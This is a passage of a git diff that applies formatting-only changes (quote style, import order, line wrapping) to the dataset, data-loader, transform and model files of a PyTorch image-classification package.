class_idx = self.class_to_idx[class_name]
-
+
for img_name in os.listdir(class_dir):
- if img_name.lower().endswith(('.png', '.jpg', '.jpeg', '.bmp', '.gif')):
+ if img_name.lower().endswith((".png", ".jpg", ".jpeg", ".bmp", ".gif")):
img_path = os.path.join(class_dir, img_name)
self.samples.append((img_path, class_idx))
-
+
def __len__(self) -> int:
return len(self.samples)
-
+
def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]:
img_path, label = self.samples[idx]
-
+
try:
- image = Image.open(img_path).convert('RGB')
+ image = Image.open(img_path).convert("RGB")
except Exception as e:
print(f"Error loading image {img_path}: {e}")
- image = Image.new('RGB', (224, 224), color='black')
-
+ image = Image.new("RGB", (224, 224), color="black")
+
if self.transform:
image = self.transform(image)
-
+
if self.target_transform:
label = self.target_transform(label)
-
+
return image, label
+
class SyntheticDataset(Dataset):
def __init__(
self,
num_samples: int = 10000,
num_classes: int = 10,
image_size: int = 224,
- channels: int = 3
+ channels: int = 3,
):
self.num_samples = num_samples
self.num_classes = num_classes
self.image_size = image_size
self.channels = channels
-
+
def __len__(self) -> int:
return self.num_samples
-
+
def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]:
image = torch.randn(self.channels, self.image_size, self.image_size)
label = idx % self.num_classes
return image, label
+
class MemoryDataset(Dataset):
def __init__(self, data: torch.Tensor, labels: torch.Tensor):
assert len(data) == len(labels)
self.data = data
self.labels = labels
-
+
def __len__(self) -> int:
return len(self.data)
-
+
def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]:
return self.data[idx], self.labels[idx]
+
class DataLoaderBuilder:
def __init__(self, config):
self.config = config
-
+
def build_train_loader(self, dataset: Dataset) -> DataLoader:
return DataLoader(
dataset,
@@ -108,9 +118,9 @@ def build_train_loader(self, dataset: Dataset) -> DataLoader:
num_workers=self.config.num_workers,
pin_memory=self.config.pin_memory,
drop_last=True,
- persistent_workers=self.config.num_workers > 0
+ persistent_workers=self.config.num_workers > 0,
)
-
+
def build_val_loader(self, dataset: Dataset) -> DataLoader:
return DataLoader(
dataset,
@@ -119,9 +129,9 @@ def build_val_loader(self, dataset: Dataset) -> DataLoader:
num_workers=self.config.num_workers,
pin_memory=self.config.pin_memory,
drop_last=False,
- persistent_workers=self.config.num_workers > 0
+ persistent_workers=self.config.num_workers > 0,
)
-
+
def build_test_loader(self, dataset: Dataset) -> DataLoader:
return DataLoader(
dataset,
@@ -129,57 +139,56 @@ def build_test_loader(self, dataset: Dataset) -> DataLoader:
shuffle=False,
num_workers=self.config.num_workers,
pin_memory=self.config.pin_memory,
- drop_last=False
+ drop_last=False,
)
+
class CachedDataset(Dataset):
def __init__(self, dataset: Dataset, cache_size: int = 1000):
self.dataset = dataset
self.cache_size = cache_size
self.cache = {}
-
+
def __len__(self) -> int:
return len(self.dataset)
-
+
def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]:
if idx in self.cache:
return self.cache[idx]
-
+
item = self.dataset[idx]
-
+
if len(self.cache) < self.cache_size:
self.cache[idx] = item
-
+
return item
+
class MultiScaleDataset(Dataset):
- def __init__(
- self,
- dataset: Dataset,
- scales: List[int] = [224, 256, 288, 320]
- ):
+ def __init__(self, dataset: Dataset, scales: List[int] = [224, 256, 288, 320]):
self.dataset = dataset
self.scales = scales
-
+
def __len__(self) -> int:
return len(self.dataset)
-
+
def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]:
image, label = self.dataset[idx]
-
+
scale = np.random.choice(self.scales)
resize = transforms.Resize((scale, scale))
image = resize(image)
-
+
return image, label
+
class PrefetchDataset(Dataset):
def __init__(self, dataset: Dataset, prefetch_size: int = 100):
self.dataset = dataset
self.prefetch_size = prefetch_size
-
+
def __len__(self) -> int:
return len(self.dataset)
-
+
def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]:
- return self.dataset[idx]
\ No newline at end of file
+ return self.dataset[idx]
diff --git a/ML/src/python/neuralforge/data/datasets.py b/ML/src/python/neuralforge/data/datasets.py
index 85a9c1db1fd..2f03f7f3b07 100644
--- a/ML/src/python/neuralforge/data/datasets.py
+++ b/ML/src/python/neuralforge/data/datasets.py
@@ -1,321 +1,444 @@
-import torch
-from torch.utils.data import Dataset
-from torchvision import datasets, transforms
import os
-from typing import Optional, Callable
+
+from torchvision import datasets, transforms
+
class CIFAR10Dataset:
- def __init__(self, root='./data', train=True, transform=None, download=True):
+ def __init__(self, root="./data", train=True, transform=None, download=True):
if transform is None:
if train:
- transform = transforms.Compose([
- transforms.RandomCrop(32, padding=4),
- transforms.RandomHorizontalFlip(),
- transforms.ToTensor(),
- transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010))
- ])
+ transform = transforms.Compose(
+ [
+ transforms.RandomCrop(32, padding=4),
+ transforms.RandomHorizontalFlip(),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ (0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)
+ ),
+ ]
+ )
else:
- transform = transforms.Compose([
- transforms.ToTensor(),
- transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010))
- ])
-
- self.dataset = datasets.CIFAR10(root=root, train=train, transform=transform, download=download)
- self.classes = ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']
-
+ transform = transforms.Compose(
+ [
+ transforms.ToTensor(),
+ transforms.Normalize(
+ (0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)
+ ),
+ ]
+ )
+
+ self.dataset = datasets.CIFAR10(
+ root=root, train=train, transform=transform, download=download
+ )
+ self.classes = [
+ "airplane",
+ "automobile",
+ "bird",
+ "cat",
+ "deer",
+ "dog",
+ "frog",
+ "horse",
+ "ship",
+ "truck",
+ ]
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class CIFAR100Dataset:
- def __init__(self, root='./data', train=True, transform=None, download=True):
+ def __init__(self, root="./data", train=True, transform=None, download=True):
if transform is None:
if train:
- transform = transforms.Compose([
- transforms.RandomCrop(32, padding=4),
- transforms.RandomHorizontalFlip(),
- transforms.RandomRotation(15),
- transforms.ToTensor(),
- transforms.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761))
- ])
+ transform = transforms.Compose(
+ [
+ transforms.RandomCrop(32, padding=4),
+ transforms.RandomHorizontalFlip(),
+ transforms.RandomRotation(15),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ (0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761)
+ ),
+ ]
+ )
else:
- transform = transforms.Compose([
- transforms.ToTensor(),
- transforms.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761))
- ])
-
- self.dataset = datasets.CIFAR100(root=root, train=train, transform=transform, download=download)
-
+ transform = transforms.Compose(
+ [
+ transforms.ToTensor(),
+ transforms.Normalize(
+ (0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761)
+ ),
+ ]
+ )
+
+ self.dataset = datasets.CIFAR100(
+ root=root, train=train, transform=transform, download=download
+ )
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class MNISTDataset:
- def __init__(self, root='./data', train=True, transform=None, download=True):
+ def __init__(self, root="./data", train=True, transform=None, download=True):
if transform is None:
- transform = transforms.Compose([
- transforms.ToTensor(),
- transforms.Normalize((0.1307,), (0.3081,))
- ])
-
- self.dataset = datasets.MNIST(root=root, train=train, transform=transform, download=download)
+ transform = transforms.Compose(
+ [transforms.ToTensor(), transforms.Normalize((0.1307,), (0.3081,))]
+ )
+
+ self.dataset = datasets.MNIST(
+ root=root, train=train, transform=transform, download=download
+ )
self.classes = [str(i) for i in range(10)]
-
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class FashionMNISTDataset:
- def __init__(self, root='./data', train=True, transform=None, download=True):
+ def __init__(self, root="./data", train=True, transform=None, download=True):
if transform is None:
- transform = transforms.Compose([
- transforms.ToTensor(),
- transforms.Normalize((0.2860,), (0.3530,))
- ])
-
- self.dataset = datasets.FashionMNIST(root=root, train=train, transform=transform, download=download)
- self.classes = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
- 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']
-
+ transform = transforms.Compose(
+ [transforms.ToTensor(), transforms.Normalize((0.2860,), (0.3530,))]
+ )
+
+ self.dataset = datasets.FashionMNIST(
+ root=root, train=train, transform=transform, download=download
+ )
+ self.classes = [
+ "T-shirt/top",
+ "Trouser",
+ "Pullover",
+ "Dress",
+ "Coat",
+ "Sandal",
+ "Shirt",
+ "Sneaker",
+ "Bag",
+ "Ankle boot",
+ ]
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class STL10Dataset:
- def __init__(self, root='./data', split='train', transform=None, download=True):
+ def __init__(self, root="./data", split="train", transform=None, download=True):
if transform is None:
- if split == 'train':
- transform = transforms.Compose([
- transforms.RandomCrop(96, padding=12),
- transforms.RandomHorizontalFlip(),
- transforms.ToTensor(),
- transforms.Normalize((0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713))
- ])
+ if split == "train":
+ transform = transforms.Compose(
+ [
+ transforms.RandomCrop(96, padding=12),
+ transforms.RandomHorizontalFlip(),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ (0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713)
+ ),
+ ]
+ )
else:
- transform = transforms.Compose([
- transforms.ToTensor(),
- transforms.Normalize((0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713))
- ])
-
- self.dataset = datasets.STL10(root=root, split=split, transform=transform, download=download)
- self.classes = ['airplane', 'bird', 'car', 'cat', 'deer', 'dog', 'horse', 'monkey', 'ship', 'truck']
-
+ transform = transforms.Compose(
+ [
+ transforms.ToTensor(),
+ transforms.Normalize(
+ (0.4467, 0.4398, 0.4066), (0.2603, 0.2566, 0.2713)
+ ),
+ ]
+ )
+
+ self.dataset = datasets.STL10(
+ root=root, split=split, transform=transform, download=download
+ )
+ self.classes = [
+ "airplane",
+ "bird",
+ "car",
+ "cat",
+ "deer",
+ "dog",
+ "horse",
+ "monkey",
+ "ship",
+ "truck",
+ ]
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
-def get_dataset(name='cifar10', root='./data', train=True, download=True):
+
+def get_dataset(name="cifar10", root="./data", train=True, download=True):
name = name.lower()
-
- if name == 'cifar10':
+
+ if name == "cifar10":
return CIFAR10Dataset(root=root, train=train, download=download)
- elif name == 'cifar100':
+ elif name == "cifar100":
return CIFAR100Dataset(root=root, train=train, download=download)
- elif name == 'mnist':
+ elif name == "mnist":
return MNISTDataset(root=root, train=train, download=download)
- elif name == 'fashion_mnist' or name == 'fashionmnist':
+ elif name == "fashion_mnist" or name == "fashionmnist":
return FashionMNISTDataset(root=root, train=train, download=download)
- elif name == 'stl10':
- split = 'train' if train else 'test'
+ elif name == "stl10":
+ split = "train" if train else "test"
return STL10Dataset(root=root, split=split, download=download)
else:
raise ValueError(f"Unknown dataset: {name}")
+
class ImageNetDataset:
- def __init__(self, root='./data/imagenet', split='train', transform=None, download=False):
+ def __init__(
+ self, root="./data/imagenet", split="train", transform=None, download=False
+ ):
if transform is None:
- if split == 'train':
- transform = transforms.Compose([
- transforms.RandomResizedCrop(224),
- transforms.RandomHorizontalFlip(),
- transforms.ColorJitter(0.4, 0.4, 0.4),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
+ if split == "train":
+ transform = transforms.Compose(
+ [
+ transforms.RandomResizedCrop(224),
+ transforms.RandomHorizontalFlip(),
+ transforms.ColorJitter(0.4, 0.4, 0.4),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
else:
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
try:
- self.dataset = datasets.ImageFolder(os.path.join(root, split), transform=transform)
+ self.dataset = datasets.ImageFolder(
+ os.path.join(root, split), transform=transform
+ )
except:
- print(f"ImageNet not found at {root}. Please download manually from https://image-net.org/")
+ print(
+ f"ImageNet not found at {root}. Please download manually from https://image-net.org/"
+ )
print("Expected structure: {root}/train/ and {root}/val/")
raise
-
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class TinyImageNetDataset:
- def __init__(self, root='./data', train=True, transform=None, download=True):
+ def __init__(self, root="./data", train=True, transform=None, download=True):
if transform is None:
if train:
- transform = transforms.Compose([
- transforms.RandomCrop(64, padding=8),
- transforms.RandomHorizontalFlip(),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
+ transform = transforms.Compose(
+ [
+ transforms.RandomCrop(64, padding=8),
+ transforms.RandomHorizontalFlip(),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
else:
- transform = transforms.Compose([
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
- import zipfile
+ transform = transforms.Compose(
+ [
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
import urllib.request
-
- data_dir = os.path.join(root, 'tiny-imagenet-200')
+ import zipfile
+
+ data_dir = os.path.join(root, "tiny-imagenet-200")
if download and not os.path.exists(data_dir):
print("Downloading Tiny ImageNet (237 MB)...")
- url = 'http://cs231n.stanford.edu/tiny-imagenet-200.zip'
- zip_path = os.path.join(root, 'tiny-imagenet-200.zip')
-
+ url = "http://cs231n.stanford.edu/tiny-imagenet-200.zip"
+ zip_path = os.path.join(root, "tiny-imagenet-200.zip")
+
try:
urllib.request.urlretrieve(url, zip_path)
print("Extracting...")
- with zipfile.ZipFile(zip_path, 'r') as zip_ref:
+ with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(root)
os.remove(zip_path)
except Exception as e:
print(f"Download failed: {e}")
- print("Please download manually from: http://cs231n.stanford.edu/tiny-imagenet-200.zip")
-
- split = 'train' if train else 'val'
- self.dataset = datasets.ImageFolder(os.path.join(data_dir, split), transform=transform)
-
+ print(
+ "Please download manually from: http://cs231n.stanford.edu/tiny-imagenet-200.zip"
+ )
+
+ split = "train" if train else "val"
+ self.dataset = datasets.ImageFolder(
+ os.path.join(data_dir, split), transform=transform
+ )
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class Food101Dataset:
- def __init__(self, root='./data', split='train', transform=None, download=True):
+ def __init__(self, root="./data", split="train", transform=None, download=True):
if transform is None:
- if split == 'train':
- transform = transforms.Compose([
- transforms.RandomResizedCrop(224),
- transforms.RandomHorizontalFlip(),
- transforms.RandomRotation(15),
- transforms.ColorJitter(0.3, 0.3, 0.3),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
+ if split == "train":
+ transform = transforms.Compose(
+ [
+ transforms.RandomResizedCrop(224),
+ transforms.RandomHorizontalFlip(),
+ transforms.RandomRotation(15),
+ transforms.ColorJitter(0.3, 0.3, 0.3),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
else:
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
- self.dataset = datasets.Food101(root=root, split=split, transform=transform, download=download)
-
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
+ self.dataset = datasets.Food101(
+ root=root, split=split, transform=transform, download=download
+ )
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class Caltech256Dataset:
- def __init__(self, root='./data', transform=None, download=True):
+ def __init__(self, root="./data", transform=None, download=True):
if transform is None:
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
- self.dataset = datasets.Caltech256(root=root, transform=transform, download=download)
-
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
+ self.dataset = datasets.Caltech256(
+ root=root, transform=transform, download=download
+ )
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
+
class OxfordPetsDataset:
- def __init__(self, root='./data', split='trainval', transform=None, download=True):
+ def __init__(self, root="./data", split="trainval", transform=None, download=True):
if transform is None:
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
-
- self.dataset = datasets.OxfordIIITPet(root=root, split=split, transform=transform, download=download)
-
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
+
+ self.dataset = datasets.OxfordIIITPet(
+ root=root, split=split, transform=transform, download=download
+ )
+
def __len__(self):
return len(self.dataset)
-
+
def __getitem__(self, idx):
return self.dataset[idx]
-def get_dataset(name='cifar10', root='./data', train=True, download=True):
+
+def get_dataset(name="cifar10", root="./data", train=True, download=True):
name = name.lower()
-
- if name == 'cifar10':
+
+ if name == "cifar10":
return CIFAR10Dataset(root=root, train=train, download=download)
- elif name == 'cifar100':
+ elif name == "cifar100":
return CIFAR100Dataset(root=root, train=train, download=download)
- elif name == 'mnist':
+ elif name == "mnist":
return MNISTDataset(root=root, train=train, download=download)
- elif name == 'fashion_mnist' or name == 'fashionmnist':
+ elif name == "fashion_mnist" or name == "fashionmnist":
return FashionMNISTDataset(root=root, train=train, download=download)
- elif name == 'stl10':
- split = 'train' if train else 'test'
+ elif name == "stl10":
+ split = "train" if train else "test"
return STL10Dataset(root=root, split=split, download=download)
- elif name == 'tiny_imagenet' or name == 'tinyimagenet':
+ elif name == "tiny_imagenet" or name == "tinyimagenet":
return TinyImageNetDataset(root=root, train=train, download=download)
- elif name == 'imagenet':
- split = 'train' if train else 'val'
+ elif name == "imagenet":
+ split = "train" if train else "val"
return ImageNetDataset(root=root, split=split, download=download)
- elif name == 'food101':
- split = 'train' if train else 'test'
+ elif name == "food101":
+ split = "train" if train else "test"
return Food101Dataset(root=root, split=split, download=download)
- elif name == 'caltech256':
+ elif name == "caltech256":
return Caltech256Dataset(root=root, download=download)
- elif name == 'oxford_pets' or name == 'oxfordpets':
- split = 'trainval' if train else 'test'
+ elif name == "oxford_pets" or name == "oxfordpets":
+ split = "trainval" if train else "test"
return OxfordPetsDataset(root=root, split=split, download=download)
else:
raise ValueError(f"Unknown dataset: {name}")
+
def get_num_classes(dataset_name):
dataset_name = dataset_name.lower()
- if dataset_name in ['cifar10', 'mnist', 'fashion_mnist', 'fashionmnist', 'stl10']:
+ if dataset_name in ["cifar10", "mnist", "fashion_mnist", "fashionmnist", "stl10"]:
return 10
- elif dataset_name == 'cifar100':
+ elif dataset_name == "cifar100":
return 100
- elif dataset_name in ['tiny_imagenet', 'tinyimagenet']:
+ elif dataset_name in ["tiny_imagenet", "tinyimagenet"]:
return 200
- elif dataset_name == 'imagenet':
+ elif dataset_name == "imagenet":
return 1000
- elif dataset_name == 'food101':
+ elif dataset_name == "food101":
return 101
- elif dataset_name == 'caltech256':
+ elif dataset_name == "caltech256":
return 257
- elif dataset_name in ['oxford_pets', 'oxfordpets']:
+ elif dataset_name in ["oxford_pets", "oxfordpets"]:
return 37
else:
return 10
@@ -324,18 +447,62 @@ def get_num_classes(dataset_name):
def get_class_names(dataset_name):
"""Get class names for a dataset"""
dataset_name = dataset_name.lower()
-
+
class_names_map = {
- 'cifar10': ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck'],
- 'mnist': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
- 'fashion_mnist': ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot'],
- 'fashionmnist': ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot'],
- 'stl10': ['airplane', 'bird', 'car', 'cat', 'deer', 'dog', 'horse', 'monkey', 'ship', 'truck'],
+ "cifar10": [
+ "airplane",
+ "automobile",
+ "bird",
+ "cat",
+ "deer",
+ "dog",
+ "frog",
+ "horse",
+ "ship",
+ "truck",
+ ],
+ "mnist": ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
+ "fashion_mnist": [
+ "T-shirt/top",
+ "Trouser",
+ "Pullover",
+ "Dress",
+ "Coat",
+ "Sandal",
+ "Shirt",
+ "Sneaker",
+ "Bag",
+ "Ankle boot",
+ ],
+ "fashionmnist": [
+ "T-shirt/top",
+ "Trouser",
+ "Pullover",
+ "Dress",
+ "Coat",
+ "Sandal",
+ "Shirt",
+ "Sneaker",
+ "Bag",
+ "Ankle boot",
+ ],
+ "stl10": [
+ "airplane",
+ "bird",
+ "car",
+ "cat",
+ "deer",
+ "dog",
+ "horse",
+ "monkey",
+ "ship",
+ "truck",
+ ],
}
-
+
if dataset_name in class_names_map:
return class_names_map[dataset_name]
-
+
# For other datasets, return generic class names
num_classes = get_num_classes(dataset_name)
- return [f'class_{i}' for i in range(num_classes)]
+ return [f"class_{i}" for i in range(num_classes)]
diff --git a/ML/src/python/neuralforge/data/transforms.py b/ML/src/python/neuralforge/data/transforms.py
index f49e53b41e1..347d4a42e74 100644
--- a/ML/src/python/neuralforge/data/transforms.py
+++ b/ML/src/python/neuralforge/data/transforms.py
@@ -1,108 +1,123 @@
-from torchvision import transforms
+from typing import Tuple
+
import torch
-from typing import List, Tuple
+from torchvision import transforms
+
-def get_transforms(image_size: int = 224, is_training: bool = True, mean=None, std=None):
+def get_transforms(
+ image_size: int = 224, is_training: bool = True, mean=None, std=None
+):
if mean is None:
mean = [0.485, 0.456, 0.406]
if std is None:
std = [0.229, 0.224, 0.225]
-
+
if is_training:
- return transforms.Compose([
- transforms.RandomResizedCrop(image_size, scale=(0.8, 1.0)),
- transforms.RandomHorizontalFlip(p=0.5),
- transforms.RandomVerticalFlip(p=0.1),
- transforms.ColorJitter(brightness=0.2, contrast=0.2, saturation=0.2, hue=0.1),
- transforms.RandomRotation(15),
- transforms.ToTensor(),
- transforms.Normalize(mean=mean, std=std),
- transforms.RandomErasing(p=0.5, scale=(0.02, 0.33), ratio=(0.3, 3.3))
- ])
+ return transforms.Compose(
+ [
+ transforms.RandomResizedCrop(image_size, scale=(0.8, 1.0)),
+ transforms.RandomHorizontalFlip(p=0.5),
+ transforms.RandomVerticalFlip(p=0.1),
+ transforms.ColorJitter(
+ brightness=0.2, contrast=0.2, saturation=0.2, hue=0.1
+ ),
+ transforms.RandomRotation(15),
+ transforms.ToTensor(),
+ transforms.Normalize(mean=mean, std=std),
+ transforms.RandomErasing(p=0.5, scale=(0.02, 0.33), ratio=(0.3, 3.3)),
+ ]
+ )
else:
- return transforms.Compose([
- transforms.Resize(int(image_size * 1.14)),
- transforms.CenterCrop(image_size),
- transforms.ToTensor(),
- transforms.Normalize(mean=mean, std=std)
- ])
+ return transforms.Compose(
+ [
+ transforms.Resize(int(image_size * 1.14)),
+ transforms.CenterCrop(image_size),
+ transforms.ToTensor(),
+ transforms.Normalize(mean=mean, std=std),
+ ]
+ )
+
class RandomMixup:
def __init__(self, alpha: float = 1.0):
self.alpha = alpha
-
+
def __call__(self, batch):
if self.alpha > 0:
lam = torch.distributions.Beta(self.alpha, self.alpha).sample()
else:
lam = 1.0
-
+
batch_size = batch[0].size(0)
index = torch.randperm(batch_size)
-
+
mixed_input = lam * batch[0] + (1 - lam) * batch[0][index, :]
y_a, y_b = batch[1], batch[1][index]
-
+
return mixed_input, y_a, y_b, lam
+
class RandomCutmix:
def __init__(self, alpha: float = 1.0):
self.alpha = alpha
-
+
def __call__(self, batch):
images, labels = batch
batch_size = images.size(0)
index = torch.randperm(batch_size)
-
+
if self.alpha > 0:
lam = torch.distributions.Beta(self.alpha, self.alpha).sample()
else:
lam = 1.0
-
+
_, _, H, W = images.shape
cut_rat = torch.sqrt(1.0 - lam)
cut_w = (W * cut_rat).int()
cut_h = (H * cut_rat).int()
-
+
cx = torch.randint(W, (1,)).item()
cy = torch.randint(H, (1,)).item()
-
+
bbx1 = torch.clamp(cx - cut_w // 2, 0, W)
bby1 = torch.clamp(cy - cut_h // 2, 0, H)
bbx2 = torch.clamp(cx + cut_w // 2, 0, W)
bby2 = torch.clamp(cy + cut_h // 2, 0, H)
-
+
images[:, :, bby1:bby2, bbx1:bbx2] = images[index, :, bby1:bby2, bbx1:bbx2]
-
+
lam = 1 - ((bbx2 - bbx1) * (bby2 - bby1) / (W * H))
-
+
return images, labels, labels[index], lam
+
class GaussianNoise:
def __init__(self, mean: float = 0.0, std: float = 0.1):
self.mean = mean
self.std = std
-
+
def __call__(self, tensor):
return tensor + torch.randn(tensor.size()) * self.std + self.mean
+
class RandomGaussianBlur:
def __init__(self, kernel_size: int = 5, sigma: Tuple[float, float] = (0.1, 2.0)):
self.kernel_size = kernel_size
self.sigma = sigma
-
+
def __call__(self, img):
return transforms.GaussianBlur(self.kernel_size, self.sigma)(img)
+
def get_strong_augmentation(image_size: int = 224):
- return transforms.Compose([
- transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0)),
- transforms.RandomHorizontalFlip(),
- transforms.RandomApply([
- transforms.ColorJitter(0.4, 0.4, 0.4, 0.2)
- ], p=0.8),
- transforms.RandomGrayscale(p=0.2),
- transforms.RandomApply([transforms.GaussianBlur(kernel_size=23)], p=0.5),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
+ return transforms.Compose(
+ [
+ transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0)),
+ transforms.RandomHorizontalFlip(),
+ transforms.RandomApply([transforms.ColorJitter(0.4, 0.4, 0.4, 0.2)], p=0.8),
+ transforms.RandomGrayscale(p=0.2),
+ transforms.RandomApply([transforms.GaussianBlur(kernel_size=23)], p=0.5),
+ transforms.ToTensor(),
+ transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
+ ]
+ )
diff --git a/ML/src/python/neuralforge/models/__init__.py b/ML/src/python/neuralforge/models/__init__.py
index 5d48e87b3e3..d9b6e935ddd 100644
--- a/ML/src/python/neuralforge/models/__init__.py
+++ b/ML/src/python/neuralforge/models/__init__.py
@@ -1,11 +1,11 @@
-from .resnet import ResNet18, ResNet34, ResNet50
from .efficientnet import EfficientNetB0
+from .resnet import ResNet18, ResNet34, ResNet50
from .vit import VisionTransformer
__all__ = [
- 'ResNet18',
- 'ResNet34',
- 'ResNet50',
- 'EfficientNetB0',
- 'VisionTransformer',
-]
\ No newline at end of file
+ "ResNet18",
+ "ResNet34",
+ "ResNet50",
+ "EfficientNetB0",
+ "VisionTransformer",
+]
diff --git a/ML/src/python/neuralforge/models/efficientnet.py b/ML/src/python/neuralforge/models/efficientnet.py
index 6da47702cde..cf2ce2f0b7f 100644
--- a/ML/src/python/neuralforge/models/efficientnet.py
+++ b/ML/src/python/neuralforge/models/efficientnet.py
@@ -1,16 +1,18 @@
import torch.nn as nn
+
from ..nn.convolution import EfficientNetBlock
+
class EfficientNetB0(nn.Module):
def __init__(self, num_classes=1000):
super().__init__()
-
+
self.stem = nn.Sequential(
nn.Conv2d(3, 32, 3, stride=2, padding=1, bias=False),
nn.BatchNorm2d(32),
- nn.SiLU(inplace=True)
+ nn.SiLU(inplace=True),
)
-
+
self.blocks = nn.Sequential(
EfficientNetBlock(32, 16, 3, 1, 1),
EfficientNetBlock(16, 24, 3, 2, 6),
@@ -25,7 +27,7 @@ def __init__(self, num_classes=1000):
EfficientNetBlock(192, 192, 5, 1, 6),
EfficientNetBlock(192, 320, 3, 1, 6),
)
-
+
self.head = nn.Sequential(
nn.Conv2d(320, 1280, 1, bias=False),
nn.BatchNorm2d(1280),
@@ -33,11 +35,11 @@ def __init__(self, num_classes=1000):
nn.AdaptiveAvgPool2d(1),
nn.Flatten(),
nn.Dropout(0.2),
